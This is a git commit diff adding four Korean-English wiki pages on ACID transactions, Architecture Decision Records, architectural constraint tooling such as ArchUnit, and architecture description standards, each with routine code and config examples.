chore(brain): ASTRA 성장 자산 동기화 — 기능 인벤토리·growth(약점프로필/학습큐)·일화기억·장기기억·회의록 원문
This commit is contained in:
+144
@@ -0,0 +1,144 @@
|
||||
---
|
||||
id: wiki-2026-0508-acid-transactions
|
||||
title: ACID Transactions
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [ACID, Database Transactions, Atomicity Consistency Isolation Durability]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [database, transactions, consistency, postgres]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: sql
|
||||
framework: postgres-17
|
||||
---
|
||||
|
||||
# ACID Transactions
|
||||
|
||||
## 매 한 줄
|
||||
> **"Atomicity / Consistency / Isolation / Durability — 매 transaction 의 four guarantees."** Härder & Reuter (1983) 가 정식화한 properties. 매 RDBMS (Postgres, Oracle, MySQL InnoDB) 의 default 보장이며, 2026 distributed era 에도 매 NewSQL (CockroachDB, Spanner, TiDB, Neon) 가 매 ACID across nodes 를 표방. 매 단일 transaction 이 매 multi-statement 의 all-or-nothing + isolated + persisted 를 보장.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 4 properties
|
||||
- **Atomicity**: 매 all statements commit or all rollback. 매 partial state 없음.
|
||||
- **Consistency**: 매 transaction 종료 시 매 모든 invariant (FK, check, unique) 가 valid.
|
||||
- **Isolation**: 매 concurrent transactions 가 매 serially executed 처럼 보임. 매 isolation level 로 trade-off.
|
||||
- **Durability**: 매 commit 후 매 crash / power loss 에도 매 data 가 살아남음 (WAL → fsync).
|
||||
|
||||
### 매 Isolation levels (SQL standard + Postgres)
|
||||
- **Read Uncommitted**: 매 dirty read 허용 (Postgres 는 사실상 RC 로 mapping).
|
||||
- **Read Committed** (Postgres default): 매 dirty read X, 매 non-repeatable read O.
|
||||
- **Repeatable Read** (Postgres = snapshot isolation): 매 phantom read 거의 없음, 매 serialization anomaly O.
|
||||
- **Serializable** (Postgres = SSI): 매 strictest, 매 overhead 큼.
|
||||
|
||||
### 매 응용
|
||||
1. 매 financial / inventory 의 multi-row update.
|
||||
2. 매 idempotent worker — 매 transaction + unique key.
|
||||
3. 매 saga compensation 의 단위.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### 1) Postgres BEGIN/COMMIT
|
||||
```sql
|
||||
BEGIN;
|
||||
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
|
||||
UPDATE accounts SET balance = balance + 100 WHERE id = 2;
|
||||
COMMIT; -- 매 atomic + durable
|
||||
```
|
||||
|
||||
### 2) SAVEPOINT 로 partial rollback
|
||||
```sql
|
||||
BEGIN;
|
||||
INSERT INTO orders(id, total) VALUES (1, 50);
|
||||
SAVEPOINT before_items;
|
||||
INSERT INTO items(order_id, sku) VALUES (1, 'BAD-SKU'); -- FK 위반
|
||||
ROLLBACK TO SAVEPOINT before_items;
|
||||
INSERT INTO items(order_id, sku) VALUES (1, 'OK');
|
||||
COMMIT;
|
||||
```
|
||||
|
||||
### 3) Isolation level 명시 (Python + asyncpg)
|
||||
```python
|
||||
async with conn.transaction(isolation="serializable"):
|
||||
row = await conn.fetchrow("SELECT balance FROM accounts WHERE id=$1", 1)
|
||||
await conn.execute("UPDATE accounts SET balance=$1 WHERE id=$2", row["balance"]-100, 1)
|
||||
# 매 SSI — 매 serialization_failure 시 retry 필요
|
||||
```
|
||||
|
||||
### 4) Optimistic concurrency (version column)
|
||||
```sql
|
||||
UPDATE doc SET body = $1, version = version + 1
|
||||
WHERE id = $2 AND version = $3;
|
||||
-- 매 affected_rows = 0 → conflict, 매 retry / 사용자 alert
|
||||
```
|
||||
|
||||
### 5) SELECT FOR UPDATE (pessimistic lock)
|
||||
```sql
|
||||
BEGIN;
|
||||
SELECT * FROM accounts WHERE id = 1 FOR UPDATE; -- 매 row lock
|
||||
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
|
||||
COMMIT;
|
||||
```
|
||||
|
||||
### 6) Outbox pattern (transaction + async publish)
|
||||
```sql
|
||||
BEGIN;
|
||||
INSERT INTO orders(id, ...) VALUES (...);
|
||||
INSERT INTO outbox(event_type, payload) VALUES ('OrderCreated', $1);
|
||||
COMMIT;
|
||||
-- 매 separate worker 가 outbox 를 읽고 매 broker 로 publish
|
||||
```
|
||||
|
||||
### 7) Retry on serialization failure (Python)
|
||||
```python
|
||||
from psycopg.errors import SerializationFailure
|
||||
for _ in range(5):
|
||||
try:
|
||||
with conn.transaction(): do_work()
|
||||
break
|
||||
except SerializationFailure:
|
||||
time.sleep(random.uniform(0, 0.05))
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Isolation level |
|
||||
|---|---|
|
||||
| 매 read-heavy dashboard | Read Committed |
|
||||
| 매 report 의 consistent snapshot | Repeatable Read |
|
||||
| 매 money / counter / unique reservation | Serializable |
|
||||
| 매 high-conflict hot row | Pessimistic FOR UPDATE |
|
||||
| 매 low-conflict OLTP | Optimistic version |
|
||||
|
||||
**기본값**: Postgres Read Committed + 매 critical path 만 매 Serializable / FOR UPDATE.
|
||||
|
||||
## 🔗 Graph
|
||||
- 변형: [[BASE]] · [[Snapshot Isolation]]
|
||||
- 응용: [[Idempotency]]
|
||||
- Adjacent: [[CAP Theorem]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 codegen 의 SQL transaction boundary 검증, 매 isolation level mismatch 점검.
|
||||
**언제 X**: 매 eventually-consistent NoSQL (DynamoDB single-region) — 매 BASE 모델로 reasoning.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **App-side "transaction"**: 매 read-modify-write 가 매 BEGIN/COMMIT 밖. 매 race condition.
|
||||
- **Long transaction**: 매 minutes 단위 hold → 매 lock contention + bloat.
|
||||
- **Wrong isolation**: 매 default RC 에서 매 lost update 발생, 매 detect 못 함.
|
||||
- **Ignoring serialization failure**: 매 SSI 에서 매 retry 안 함 → 매 user-facing error.
|
||||
- **Transaction across services**: 매 distributed XA 시도 → 매 saga 로 대체.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Postgres 17 docs, Härder & Reuter 1983, Bailis "Highly Available Transactions" 2014).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — ACID + Postgres isolation levels + 7 patterns |
|
||||
+184
@@ -0,0 +1,184 @@
|
||||
---
|
||||
id: wiki-2026-0508-adr-architecture-decision-record
|
||||
title: ADR (Architecture Decision Records)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [ADR, Architecture Decision Record, Decision Log, Lightweight ADR]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [architecture, documentation, decisions, governance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: markdown
|
||||
framework: madr
|
||||
---
|
||||
|
||||
# ADR (Architecture Decision Records)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architecturally significant decision 을 매 immutable, dated, numbered markdown 파일로 기록하는 lightweight practice."** Michael Nygard 의 2011 blog post 가 origin, 매 이후 MADR / Y-statement 등 variants 가 표준화. 2026 현재 매 GitOps + LLM agent 시대에 매 ADR 은 매 single source of truth — 매 *왜 이 design 인가* 의 history 를 매 codebase 안에 매 living document 로 유지.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 5 essential fields (Nygard original)
|
||||
- **Title**: 매 short, declarative — `0007: Use Postgres for OLTP`.
|
||||
- **Status**: `proposed | accepted | deprecated | superseded by NNNN`.
|
||||
- **Context**: 매 forces — 매 problem, 매 constraint, 매 stakeholder.
|
||||
- **Decision**: 매 actually chosen approach (one paragraph).
|
||||
- **Consequences**: 매 positive + negative + neutral. 매 honest trade-offs.
|
||||
|
||||
### 매 MADR (Markdown ADR) extras
|
||||
- Decision drivers, considered options, pros/cons of each.
|
||||
- 매 numbered (`adr/0001-record-architecture-decisions.md`).
|
||||
- 매 PR 에 포함 — 매 code change 와 매 same review.
|
||||
|
||||
### 매 응용
|
||||
1. 매 framework / DB / cloud provider 선택.
|
||||
2. 매 API style (REST vs gRPC vs GraphQL).
|
||||
3. 매 auth, observability, deploy strategy.
|
||||
4. 매 LLM model / provider 선택.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### 1) Nygard ADR template
|
||||
```markdown
|
||||
# 0007. Use Postgres for OLTP
|
||||
|
||||
Date: 2026-05-10
|
||||
Status: Accepted
|
||||
|
||||
## Context
|
||||
We need an OLTP store with strong ACID, JSON support, and managed offerings
|
||||
across AWS/GCP/Azure. Team size 12. Expected QPS 5k.
|
||||
|
||||
## Decision
|
||||
Adopt Postgres 17 (RDS / Aurora / Cloud SQL / Neon).
|
||||
|
||||
## Consequences
|
||||
+ Mature ecosystem, ACID, JSONB, pgvector.
|
||||
- Vertical scaling ceiling — needs Citus / sharding past ~30TB.
|
||||
~ Team will invest in `psql` / pgbouncer expertise.
|
||||
```
|
||||
|
||||
### 2) MADR full template
|
||||
```markdown
|
||||
# Use Postgres for OLTP
|
||||
|
||||
* Status: Accepted
|
||||
* Deciders: @alice, @bob, @carol
|
||||
* Date: 2026-05-10
|
||||
|
||||
## Context and Problem Statement
|
||||
...
|
||||
|
||||
## Decision Drivers
|
||||
* ACID, managed offering, ecosystem
|
||||
* Cost ceiling at 5k QPS
|
||||
* Vector search (pgvector)
|
||||
|
||||
## Considered Options
|
||||
* Postgres
|
||||
* MySQL
|
||||
* CockroachDB
|
||||
* DynamoDB
|
||||
|
||||
## Decision Outcome
|
||||
Chosen option: "Postgres", because it dominates on drivers (1) and (3),
|
||||
and matches (2) within budget.
|
||||
|
||||
### Positive Consequences
|
||||
* JSONB, pgvector, mature tooling
|
||||
### Negative Consequences
|
||||
* Sharding burden later
|
||||
```
|
||||
|
||||
### 3) Y-statement (one-liner ADR)
|
||||
```text
|
||||
In the context of <use case>,
|
||||
facing <concern>,
|
||||
we decided for <option>
|
||||
to achieve <quality>,
|
||||
accepting <downside>.
|
||||
```
|
||||
|
||||
### 4) adr-tools (CLI)
|
||||
```bash
|
||||
brew install adr-tools
|
||||
adr init doc/adr
|
||||
adr new "Use Postgres for OLTP"
|
||||
adr new -s 7 "Use CockroachDB instead of Postgres" # 매 supersede
|
||||
adr generate toc > doc/adr/README.md
|
||||
```
|
||||
|
||||
### 5) GitHub PR-based workflow
|
||||
```bash
|
||||
git checkout -b adr/0007-postgres
|
||||
$EDITOR doc/adr/0007-use-postgres-for-oltp.md
|
||||
git commit -m "ADR-0007: Use Postgres for OLTP"
|
||||
gh pr create --label adr --reviewer @platform-team
|
||||
```
|
||||
|
||||
### 6) Status transitions
|
||||
```markdown
|
||||
# 0007. Use Postgres
|
||||
Status: Superseded by [0019](0019-use-cockroachdb.md)
|
||||
```
|
||||
|
||||
### 7) LLM-assisted drafting (2026)
|
||||
```text
|
||||
You are an ADR scribe. Given a Slack discussion transcript,
|
||||
output a MADR-format ADR with:
|
||||
- Decision drivers extracted from the discussion
|
||||
- All options mentioned with pros/cons
|
||||
- Status: Proposed
|
||||
Do not invent options not discussed.
|
||||
```
|
||||
|
||||
### 8) Linking from code
|
||||
```ts
|
||||
// See ADR-0007 for why Postgres + pgvector instead of pinecone
|
||||
import { Pool } from 'pg';
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | ADR 작성 여부 |
|
||||
|---|---|
|
||||
| 매 reversible (1 file 내 결정) | 작성 X |
|
||||
| 매 cross-team / cross-service impact | 작성 |
|
||||
| 매 vendor / framework 선택 | 작성 |
|
||||
| 매 reverse 시 매 1주 이상 cost | 작성 |
|
||||
| 매 trivial styling | 작성 X (lint config 로) |
|
||||
|
||||
**기본값**: 매 "되돌리는 데 1주 이상 걸리면 ADR". 매 Nygard 5-field minimum, 매 큰 결정만 MADR.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Architecture Documentation]]
|
||||
- 응용: [[ATAM]] · [[RFC Process]] · [[C4 Model]]
|
||||
- Adjacent: [[GitOps]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 design discussion 의 transcript → ADR draft 자동 생성, 매 ADR audit (status 누락 등).
|
||||
**언제 X**: 매 LLM 이 매 invent 한 driver/option 을 매 사실로 commit X. 매 human verifier 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Wiki-only ADR**: 매 codebase 밖 → 매 stale. 매 repo 안에 두고 매 PR 로 review.
|
||||
- **Mutable ADR**: 매 기존 ADR 을 edit. 매 새 ADR 로 supersede.
|
||||
- **Decision-only**: 매 Context / Consequences 누락 → 매 6개월 후 매 누구도 이유 모름.
|
||||
- **Too coarse**: 매 "Use Microservices" — 매 specific 으로 (어떤 service, 매 boundary 어떻게).
|
||||
- **Too fine**: 매 매 PR 마다 ADR — 매 noise.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Nygard 2011 blog, MADR spec adr.github.io, Thoughtworks Tech Radar).
|
||||
- 신뢰도 A.
|
||||
- 매 [[ADR_(Architecture_Decision_Records)|ADR_(Architecture_Decision_Record)]] 가 매 redirect 로 본 문서를 가리킴.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Nygard + MADR templates + adr-tools workflow |
|
||||
+218
@@ -0,0 +1,218 @@
|
||||
---
|
||||
id: wiki-2026-0508-architectural-constraint-enforce
|
||||
title: Architectural Constraint Enforcement
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [archunit, dependency-cruiser, fitness-functions]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, fitness-functions, archunit, constraints]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: java
|
||||
framework: archunit
|
||||
---
|
||||
|
||||
# Architectural Constraint Enforcement
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architecture 의 자동으로 enforce 한다"**. 매 ArchUnit (2018, Java/Kotlin), Dependency-Cruiser (JS/TS), NetArchTest (.NET), Konsist (Kotlin) 의 fitness function 의 CI 통합. 매 *Building Evolutionary Architectures* (Ford, Parsons, Kua, 2017; 2nd ed 2023) 의 paradigm.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 enforced rules (typical)
|
||||
- **Layer dependency**: 매 controller → service → repository — 매 reverse 의 X.
|
||||
- **Package isolation**: `domain` 의 framework import 의 X.
|
||||
- **Naming**: 매 `*Service` class 의 `service` package 의 only.
|
||||
- **Cyclic dependency**: 매 always X.
|
||||
- **API surface**: 매 `internal/*` 의 external module 의 import 의 X.
|
||||
|
||||
### 매 fitness function categories (Ford)
|
||||
- **Atomic vs Holistic**: single attribute / system-wide.
|
||||
- **Triggered vs Continual**: CI gate / runtime probe.
|
||||
- **Static vs Dynamic**: code analysis / runtime metric.
|
||||
- **Automated vs Manual**: prefer automated.
|
||||
|
||||
### 매 응용
|
||||
1. CI gate — 매 PR 의 violation 의 block.
|
||||
2. Refactor safety — 매 large refactor 의 invariant 의 hold.
|
||||
3. Onboarding — 매 implicit rule 의 explicit code 의 됨.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### ArchUnit — layer enforcement (Java)
|
||||
```java
|
||||
import static com.tngtech.archunit.lang.syntax.ArchRuleDefinition.*;
|
||||
import com.tngtech.archunit.junit.AnalyzeClasses;
|
||||
import com.tngtech.archunit.junit.ArchTest;
|
||||
import com.tngtech.archunit.lang.ArchRule;
|
||||
|
||||
@AnalyzeClasses(packages = "com.acme.banking")
|
||||
class LayerArchTest {
|
||||
@ArchTest
|
||||
static final ArchRule controllers_only_call_services =
|
||||
classes().that().resideInAPackage("..controller..")
|
||||
.should().onlyDependOnClassesThat()
|
||||
.resideInAnyPackage("..controller..", "..service..", "java..", "org.springframework..");
|
||||
|
||||
@ArchTest
|
||||
static final ArchRule no_cycles =
|
||||
slices().matching("..banking.(*)..").should().beFreeOfCycles();
|
||||
|
||||
@ArchTest
|
||||
static final ArchRule services_named_correctly =
|
||||
classes().that().resideInAPackage("..service..")
|
||||
.and().areNotInterfaces()
|
||||
.should().haveSimpleNameEndingWith("Service");
|
||||
}
|
||||
```
|
||||
|
||||
### Dependency-Cruiser (TypeScript)
|
||||
```js
|
||||
// .dependency-cruiser.cjs
|
||||
module.exports = {
|
||||
forbidden: [
|
||||
{
|
||||
name: 'no-circular',
|
||||
severity: 'error',
|
||||
from: {},
|
||||
to: { circular: true }
|
||||
},
|
||||
{
|
||||
name: 'domain-pure',
|
||||
severity: 'error',
|
||||
from: { path: '^src/domain' },
|
||||
to: { path: '^(src/infra|node_modules/express)' }
|
||||
},
|
||||
{
|
||||
name: 'no-test-in-prod',
|
||||
severity: 'error',
|
||||
from: { pathNot: '\\.test\\.ts$' },
|
||||
to: { path: '\\.test\\.ts$' }
|
||||
}
|
||||
],
|
||||
options: { tsConfig: { fileName: 'tsconfig.json' } }
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
npx depcruise src --config .dependency-cruiser.cjs
|
||||
npx depcruise src --output-type dot | dot -T svg > deps.svg
|
||||
```
|
||||
|
||||
### NetArchTest (.NET 8)
|
||||
```csharp
|
||||
using NetArchTest.Rules;
|
||||
using Xunit;
|
||||
|
||||
public class ArchitectureTests {
|
||||
[Fact]
|
||||
public void Domain_ShouldNotDependOnInfrastructure() {
|
||||
var result = Types.InAssembly(typeof(Domain.Marker).Assembly)
|
||||
.That().ResideInNamespace("Acme.Domain")
|
||||
.ShouldNot().HaveDependencyOn("Acme.Infrastructure")
|
||||
.GetResult();
|
||||
Assert.True(result.IsSuccessful, string.Join(",", result.FailingTypeNames ?? []));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Konsist (Kotlin)
|
||||
```kotlin
|
||||
import com.lemonappdev.konsist.api.Konsist
|
||||
import com.lemonappdev.konsist.api.verify.assertTrue
|
||||
|
||||
class CleanArchitectureTest {
|
||||
@Test
|
||||
fun `domain layer does not depend on data layer`() {
|
||||
Konsist.scopeFromProduction()
|
||||
.files
|
||||
.filter { it.packagee?.fullyQualifiedName?.contains("domain") == true }
|
||||
.assertTrue { file ->
|
||||
file.imports.none { it.name.contains(".data.") }
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Go — go-arch-lint
|
||||
```yaml
|
||||
# .go-arch-lint.yml
|
||||
version: 3
|
||||
workdir: internal
|
||||
components:
|
||||
domain: { in: domain/** }
|
||||
app: { in: app/** }
|
||||
infra: { in: infra/** }
|
||||
deps:
|
||||
domain: {}
|
||||
app: { mayDependOn: [domain] }
|
||||
infra: { mayDependOn: [domain, app] }
|
||||
```
|
||||
|
||||
### Python — import-linter
|
||||
```ini
|
||||
# .importlinter
|
||||
[importlinter]
|
||||
root_package = acme
|
||||
|
||||
[importlinter:contract:layers]
|
||||
name = Layered architecture
|
||||
type = layers
|
||||
layers =
|
||||
acme.api
|
||||
acme.service
|
||||
acme.domain
|
||||
```
|
||||
|
||||
### CI integration (GitHub Actions)
|
||||
```yaml
|
||||
- name: Architecture tests
|
||||
run: |
|
||||
./gradlew archTest
|
||||
npx depcruise src --config .dependency-cruiser.cjs
|
||||
lint-imports
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| Stack | Tool |
|
||||
|---|---|
|
||||
| Java/Kotlin | ArchUnit, Konsist |
|
||||
| JS/TS | Dependency-Cruiser, eslint-plugin-boundaries |
|
||||
| .NET | NetArchTest |
|
||||
| Go | go-arch-lint |
|
||||
| Python | import-linter |
|
||||
| Polyglot | Sonargraph, Structure101 (commercial) |
|
||||
|
||||
**기본값**: 매 ArchUnit (JVM) / Dependency-Cruiser (Node) — 매 OSS + CI-first.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software Architecture]] · [[Fitness Functions]]
|
||||
- 변형: [[Static-Analysis]]
|
||||
- 응용: [[CI-CD]] · [[Architecture_Refactor]]
|
||||
- Adjacent: [[Architecture Erosion (아키텍처 침식)]] · [[Modular-Monolith]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 plain English rule → ArchUnit/depcruise config 의 translation, 매 violation message 의 fix suggestion.
|
||||
**언제 X**: 매 architecture 의 design 의 LLM-only delegation — 매 human ownership 의 필수.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Test exists, never runs**: 매 CI 의 not wired — 매 dead rule.
|
||||
- **Over-broad rule**: 매 100% violations 의 noise — 매 graduated rollback (allowlist).
|
||||
- **Rule without rationale**: 매 ADR-less rule — 매 future deletion 의 blocker.
|
||||
- **Ignore-list explosion**: 매 exception 의 100+ — 매 architecture 의 already eroded 의 sign.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Ford et al., *Building Evolutionary Architectures* 2nd ed; ArchUnit user guide).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — fitness functions + ArchUnit/depcruise/NetArchTest patterns |
|
||||
+197
@@ -0,0 +1,197 @@
|
||||
---
|
||||
id: wiki-2026-0508-architecture-description-아키텍처-명세
|
||||
title: Architecture Description (아키텍처 명세)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Architecture Description, 아키텍처 명세, AD, Software Architecture Document, SAD]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, documentation, c4, 4plus1-view, iso-42010]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: markdown
|
||||
framework: Structurizr / C4 / arc42
|
||||
---
|
||||
|
||||
# Architecture Description (아키텍처 명세)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architecture description 은 system 의 multiple stakeholder concern 을 multiple view 로 documenting"**. ISO/IEC/IEEE 42010 standard 기반 — 매 stakeholder, concern, viewpoint, view, model 의 conceptual chain. 매 modern practice 는 4+1 (Kruchten) → C4 (Brown) → arc42 (Starke) → DAR (Decision Records) 의 layered combination.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 ISO/IEC/IEEE 42010 framework
|
||||
- **Stakeholder**: dev, ops, security, PM, customer — 매 다른 concern.
|
||||
- **Concern**: performance, security, deployability, cost, regulatory.
|
||||
- **Viewpoint**: concern 의 lens (e.g., "security viewpoint", "deployment viewpoint").
|
||||
- **View**: viewpoint 적용 결과의 specific artifact.
|
||||
- **Model**: view 안의 box-and-line / sequence / state diagram.
|
||||
|
||||
### 매 4+1 view (Kruchten 1995, still relevant)
|
||||
- **Logical view**: domain model, class, package — dev concern.
|
||||
- **Process view**: runtime behavior, threading, concurrency — perf concern.
|
||||
- **Development view**: module, layer, build — dev productivity.
|
||||
- **Physical view**: deployment topology — ops concern.
|
||||
- **+1 Scenario**: use cases tying 4 views together.
|
||||
|
||||
### 매 C4 model (Simon Brown, modern default)
|
||||
1. **Context (L1)**: system + external actor/system — non-technical stakeholder 용.
|
||||
2. **Container (L2)**: deployable unit (web app, API, DB) — tech overview.
|
||||
3. **Component (L3)**: container 내부 module — dev 용.
|
||||
4. **Code (L4, optional)**: class diagram — auto-gen, rarely manual.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Structurizr DSL (modern C4 standard, 2026)
|
||||
```dsl
|
||||
workspace "BankingApp" {
|
||||
model {
|
||||
customer = person "Customer" "A bank customer"
|
||||
bankingSystem = softwareSystem "Internet Banking" {
|
||||
webApp = container "Web App" "React SPA" "TypeScript/React"
|
||||
api = container "API" "REST backend" "Kotlin/Spring"
|
||||
db = container "Database" "Customer + tx data" "PostgreSQL 16"
|
||||
webApp -> api "Calls" "HTTPS/JSON"
|
||||
api -> db "Reads/writes" "JDBC"
|
||||
}
|
||||
customer -> webApp "Uses" "HTTPS"
|
||||
}
|
||||
views {
|
||||
systemContext bankingSystem { include * autoLayout }
|
||||
container bankingSystem { include * autoLayout }
|
||||
theme default
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### arc42 template skeleton (Markdown, 12 sections)
|
||||
```markdown
|
||||
# 1. Introduction & Goals
|
||||
## 1.1 Requirements Overview
|
||||
## 1.2 Quality Goals (top 3-5)
|
||||
## 1.3 Stakeholders
|
||||
|
||||
# 2. Architecture Constraints
|
||||
# 3. Context & Scope (C4 L1 here)
|
||||
# 4. Solution Strategy
|
||||
# 5. Building Block View (C4 L2/L3)
|
||||
# 6. Runtime View (sequence / activity)
|
||||
# 7. Deployment View
|
||||
# 8. Crosscutting Concepts (security, logging, i18n)
|
||||
# 9. Architecture Decisions (link to ADRs)
|
||||
# 10. Quality Requirements (scenarios)
|
||||
# 11. Risks & Technical Debt
|
||||
# 12. Glossary
|
||||
```
|
||||
|
||||
### ADR (Architecture Decision Record, Michael Nygard format)
|
||||
```markdown
|
||||
# ADR-0042: Use PostgreSQL over MongoDB for tx store
|
||||
|
||||
## Status
|
||||
Accepted (2026-04-15) — supersedes ADR-0021.
|
||||
|
||||
## Context
|
||||
Transactional integrity 의 critical. Document flexibility 의 secondary.
|
||||
PostgreSQL 16 의 JSONB columns 의 hybrid 의 enable.
|
||||
|
||||
## Decision
|
||||
PostgreSQL 16 with JSONB for flexible attributes.
|
||||
|
||||
## Consequences
|
||||
+ ACID guarantees, mature tooling, strong ecosystem.
|
||||
- Schema migrations more rigid than Mongo.
|
||||
- Team needs PG expertise (training budget allocated).
|
||||
```
|
||||
|
||||
### Mermaid C4 diagram (lightweight, GitHub-native)
|
||||
```mermaid
|
||||
C4Context
|
||||
title System Context — Banking
|
||||
Person(customer, "Customer")
|
||||
System(banking, "Banking System", "Online banking")
|
||||
System_Ext(email, "Email System", "SMTP")
|
||||
Rel(customer, banking, "Uses", "HTTPS")
|
||||
Rel(banking, email, "Sends notifications", "SMTP")
|
||||
```
|
||||
|
||||
### Architecture-as-code: PlantUML C4 macro
|
||||
```plantuml
|
||||
@startuml
|
||||
!include https://raw.githubusercontent.com/plantuml-stdlib/C4-PlantUML/master/C4_Container.puml
|
||||
|
||||
Person(user, "User")
|
||||
System_Boundary(c1, "App") {
|
||||
Container(spa, "SPA", "React 19")
|
||||
Container(api, "API", "Kotlin/Ktor")
|
||||
ContainerDb(db, "DB", "PostgreSQL 16")
|
||||
}
|
||||
Rel(user, spa, "Uses", "HTTPS")
|
||||
Rel(spa, api, "JSON/REST")
|
||||
Rel(api, db, "JDBC")
|
||||
@enduml
|
||||
```
|
||||
|
||||
### Quality scenario (ATAM-style, embeddable in AD)
|
||||
```yaml
|
||||
scenario: "API survives 10x traffic spike"
|
||||
source: External users
|
||||
stimulus: Sudden 10x request burst
|
||||
artifact: API container
|
||||
environment: Production, normal ops
|
||||
response: Auto-scale, no errors >0.1%
|
||||
response_measure:
|
||||
- p99 latency < 800ms
|
||||
- error_rate < 0.1%
|
||||
- autoscale_lag < 60s
|
||||
```
|
||||
|
||||
### Living docs — auto-extract from code (jQAssistant + Structurizr)
|
||||
```bash
|
||||
# Generate Structurizr workspace from code annotations
|
||||
./gradlew structurizrExport
|
||||
structurizr-cli push -workspace workspace.dsl \
|
||||
-id $WORKSPACE_ID -key $API_KEY -secret $API_SECRET
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Greenfield, small-mid team | C4 + arc42 + ADR |
|
||||
| Enterprise, regulatory | ISO 42010 strict + 4+1 |
|
||||
| OSS project | Mermaid C4 in README |
|
||||
| Microservices, many teams | Structurizr DSL + ADR per service |
|
||||
| Legacy reverse-engineered | Auto-gen (jQAssistant) + manual context |
|
||||
|
||||
**기본값**: C4 (Structurizr DSL) + arc42 sections + ADR — 매 modern combination.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software Architecture]]
|
||||
- 변형: [[C4 Model]] · [[arc42]]
|
||||
- 응용: [[Architecture_Diagramming_Standards]] · [[Architecture Review (아키텍처 및 설계 리뷰)]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: bootstrap arc42 template from a codebase scan, generate C4 Container diagrams from package structure, draft ADR Context/Consequences from PR descriptions.
|
||||
**언제 X**: do not let an LLM author quality scenarios without measurable response criteria — vague AI-generated "should be fast" fails ATAM review.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Diagram-only AD**: pictures without prose context — stakeholder cannot infer intent.
|
||||
- **One-view-fits-all**: single deployment diagram trying to satisfy security, perf, dev concerns simultaneously.
|
||||
- **Stale Visio**: AD frozen on day 1, drifts from implementation within 6 months.
|
||||
- **Pseudo-UML**: ad-hoc boxes labeled "UML" with no notation discipline.
|
||||
- **Decision-less AD**: structures documented without WHY — readers cannot evaluate tradeoffs.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (ISO/IEC/IEEE 42010:2022, Kruchten 1995, Brown C4 spec, Starke arc42 v8.2).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
